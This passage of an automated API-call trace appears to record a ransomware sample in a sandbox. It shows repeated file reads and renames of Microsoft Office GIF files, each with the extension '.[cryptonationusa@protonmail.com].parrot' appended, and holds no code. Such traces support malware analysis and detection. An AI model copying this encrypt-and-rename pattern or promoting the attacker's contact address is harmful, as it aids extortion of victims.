lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0164.418] SetFilePointerEx (in: hFile=0x280, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0164.418] ReadFile (in: hFile=0x280, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x137, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18ebe4*=0x137, lpOverlapped=0x0) returned 1 [0164.418] SetFilePointerEx (in: hFile=0x280, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0164.418] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD10267_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd10267_.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD10267_.GIF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd10267_.gif.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0164.421] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2267aa8 | out: hHeap=0x5b0000) returned 1 [0164.421] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6a3268 | out: hHeap=0x5b0000) returned 1 [0164.421] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6049a8 | out: hHeap=0x5b0000) returned 1 [0164.423] SetFilePointerEx (in: hFile=0x280, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0164.423] ReadFile (in: hFile=0x280, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0164.424] SetFilePointerEx (in: hFile=0x280, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0164.424] ReadFile (in: hFile=0x280, lpBuffer=0x2d70040, nNumberOfBytesToRead=0xb1, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18ebe4*=0xb1, lpOverlapped=0x0) returned 1 [0164.424] SetFilePointerEx (in: hFile=0x280, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0164.424] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD10268_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd10268_.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD10268_.GIF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd10268_.gif.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0164.426] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2267aa8 | out: hHeap=0x5b0000) returned 1 [0164.426] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6a3268 | out: hHeap=0x5b0000) returned 1 [0164.426] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x229e070 | out: hHeap=0x5b0000) returned 1 [0164.428] SetFilePointerEx (in: hFile=0x280, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0164.428] ReadFile (in: hFile=0x280, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0164.430] SetFilePointerEx (in: hFile=0x280, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0164.430] ReadFile (in: hFile=0x280, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x46b, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18ebe4*=0x46b, lpOverlapped=0x0) returned 1 [0164.430] SetFilePointerEx (in: hFile=0x280, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0164.430] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD10297_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd10297_.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD10297_.GIF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd10297_.gif.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0164.432] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2267aa8 | out: hHeap=0x5b0000) returned 1 [0164.432] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6a3268 | out: hHeap=0x5b0000) returned 1 [0164.432] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3198458 | out: hHeap=0x5b0000) returned 1 [0164.434] SetFilePointerEx (in: hFile=0x280, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0164.435] ReadFile (in: hFile=0x280, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0164.436] SetFilePointerEx (in: hFile=0x280, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0164.436] ReadFile (in: hFile=0x280, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x467, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18ebe4*=0x467, lpOverlapped=0x0) returned 1 [0164.436] SetFilePointerEx (in: hFile=0x280, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0164.436] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD10298_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd10298_.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD10298_.GIF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd10298_.gif.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0164.438] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2267aa8 | out: hHeap=0x5b0000) returned 1 [0164.438] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6a3268 | out: hHeap=0x5b0000) returned 1 [0164.438] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3198458 | out: hHeap=0x5b0000) returned 1 [0164.440] SetFilePointerEx (in: hFile=0x280, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0164.440] ReadFile (in: hFile=0x280, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0164.441] SetFilePointerEx (in: hFile=0x280, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0164.441] ReadFile (in: hFile=0x280, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x13b, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18ebe4*=0x13b, lpOverlapped=0x0) returned 1 [0164.442] SetFilePointerEx (in: hFile=0x280, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0164.442] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD10299_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd10299_.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD10299_.GIF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd10299_.gif.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0164.446] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2267aa8 | out: hHeap=0x5b0000) returned 1 [0164.446] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6a3268 | out: hHeap=0x5b0000) returned 1 [0164.446] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6049a8 | out: hHeap=0x5b0000) returned 1 [0164.448] SetFilePointerEx (in: hFile=0x280, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0164.448] ReadFile (in: hFile=0x280, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0164.449] SetFilePointerEx (in: hFile=0x280, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0164.449] ReadFile (in: hFile=0x280, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x105, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18ebe4*=0x105, lpOverlapped=0x0) returned 1 [0164.449] SetFilePointerEx (in: hFile=0x280, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0164.449] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD10300_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd10300_.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD10300_.GIF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd10300_.gif.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0164.452] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2267aa8 | out: hHeap=0x5b0000) returned 1 [0164.452] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6a3268 | out: hHeap=0x5b0000) returned 1 [0164.452] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d2058 | out: hHeap=0x5b0000) returned 1 [0164.454] SetFilePointerEx (in: hFile=0x280, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0164.454] ReadFile (in: hFile=0x280, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0164.454] SetFilePointerEx (in: hFile=0x280, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0164.455] ReadFile (in: hFile=0x280, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x109, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18ebe4*=0x109, lpOverlapped=0x0) returned 1 [0164.455] SetFilePointerEx (in: hFile=0x280, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0164.455] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD10301_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd10301_.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD10301_.GIF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd10301_.gif.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0164.457] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2267aa8 | out: hHeap=0x5b0000) returned 1 [0164.457] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6a3268 | out: hHeap=0x5b0000) returned 1 [0164.457] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d2058 | out: hHeap=0x5b0000) returned 1 [0164.461] SetFilePointerEx (in: hFile=0x280, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0164.461] ReadFile (in: hFile=0x280, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0164.461] SetFilePointerEx (in: hFile=0x280, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0164.462] ReadFile (in: hFile=0x280, lpBuffer=0x2d70040, nNumberOfBytesToRead=0xfd, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18ebe4*=0xfd, lpOverlapped=0x0) returned 1 [0164.462] SetFilePointerEx (in: hFile=0x280, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0164.462] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD10302_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd10302_.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD10302_.GIF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd10302_.gif.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0164.465] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2267aa8 | out: hHeap=0x5b0000) returned 1 [0164.465] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6a3268 | out: hHeap=0x5b0000) returned 1 [0164.465] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5cbeb0 | out: hHeap=0x5b0000) returned 1 [0164.503] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0164.503] ReadFile (in: hFile=0x27c, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0164.504] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0164.504] ReadFile (in: hFile=0x27c, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x11a, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18ebe4*=0x11a, lpOverlapped=0x0) returned 1 [0164.505] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0164.505] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD10335_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd10335_.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD10335_.GIF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd10335_.gif.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0164.520] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2267aa8 | out: hHeap=0x5b0000) returned 1 [0164.520] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6a3268 | out: hHeap=0x5b0000) returned 1 [0164.520] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6139f8 | out: hHeap=0x5b0000) returned 1 [0164.522] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0164.522] ReadFile (in: hFile=0x27c, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0164.523] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0164.523] ReadFile (in: hFile=0x27c, lpBuffer=0x2d70040, nNumberOfBytesToRead=0xcc, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18ebe4*=0xcc, lpOverlapped=0x0) returned 1 [0164.524] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0164.524] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD10336_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd10336_.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD10336_.GIF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd10336_.gif.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0164.527] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2267aa8 | out: hHeap=0x5b0000) returned 1 [0164.527] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6a3268 | out: hHeap=0x5b0000) returned 1 [0164.527] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6a9268 | out: hHeap=0x5b0000) returned 1 [0164.530] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0164.530] ReadFile (in: hFile=0x27c, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0164.531] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0164.531] ReadFile (in: hFile=0x27c, lpBuffer=0x2d70040, nNumberOfBytesToRead=0xf0, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18ebe4*=0xf0, lpOverlapped=0x0) returned 1 [0164.532] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0164.532] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD10337_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd10337_.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD10337_.GIF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd10337_.gif.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0164.534] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2267aa8 | out: hHeap=0x5b0000) returned 1 [0164.534] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6a3268 | out: hHeap=0x5b0000) returned 1 [0164.534] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5cbeb0 | out: hHeap=0x5b0000) returned 1 [0164.537] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0164.537] ReadFile (in: hFile=0x27c, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0164.538] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0164.538] ReadFile (in: hFile=0x27c, lpBuffer=0x2d70040, nNumberOfBytesToRead=0xce, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18ebe4*=0xce, lpOverlapped=0x0) returned 1 [0164.538] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0164.538] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD14513_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd14513_.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD14513_.GIF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd14513_.gif.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0164.540] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2267aa8 | out: hHeap=0x5b0000) returned 1 [0164.540] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6a3268 | out: hHeap=0x5b0000) returned 1 [0164.540] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6a9268 | out: hHeap=0x5b0000) returned 1 [0164.542] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0164.542] ReadFile (in: hFile=0x27c, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0164.543] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0164.543] ReadFile (in: hFile=0x27c, lpBuffer=0x2d70040, nNumberOfBytesToRead=0xb3, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18ebe4*=0xb3, lpOverlapped=0x0) returned 1 [0164.543] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0164.544] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD14514_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd14514_.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD14514_.GIF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd14514_.gif.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0164.546] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2267aa8 | out: hHeap=0x5b0000) returned 1 [0164.546] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6a3268 | out: hHeap=0x5b0000) returned 1 [0164.546] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x229e070 | out: hHeap=0x5b0000) returned 1 [0164.548] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0164.548] ReadFile (in: hFile=0x27c, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0164.549] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0164.549] ReadFile (in: hFile=0x27c, lpBuffer=0x2d70040, nNumberOfBytesToRead=0xb3, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18ebe4*=0xb3, lpOverlapped=0x0) returned 1 [0164.549] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0164.549] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD14515_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd14515_.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD14515_.GIF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd14515_.gif.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0164.551] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2267aa8 | out: hHeap=0x5b0000) returned 1 [0164.551] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6a3268 | out: hHeap=0x5b0000) returned 1 [0164.551] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x229e070 | out: hHeap=0x5b0000) returned 1 [0164.553] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0164.553] ReadFile (in: hFile=0x27c, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0164.554] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0164.554] ReadFile (in: hFile=0x27c, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x111, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18ebe4*=0x111, lpOverlapped=0x0) returned 1 [0164.554] 